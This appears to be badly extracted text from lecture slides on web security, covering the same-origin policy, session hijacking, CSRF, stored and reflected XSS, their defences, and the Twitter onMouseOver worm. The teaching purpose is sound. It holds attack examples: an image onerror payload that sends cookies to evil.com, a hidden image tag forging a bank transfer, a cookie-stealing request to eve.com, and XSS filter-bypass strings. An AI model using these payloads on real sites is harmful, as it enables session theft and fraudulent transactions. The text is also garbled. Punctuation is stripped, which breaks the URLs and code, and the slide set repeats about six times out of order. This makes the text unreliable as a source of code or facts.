Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

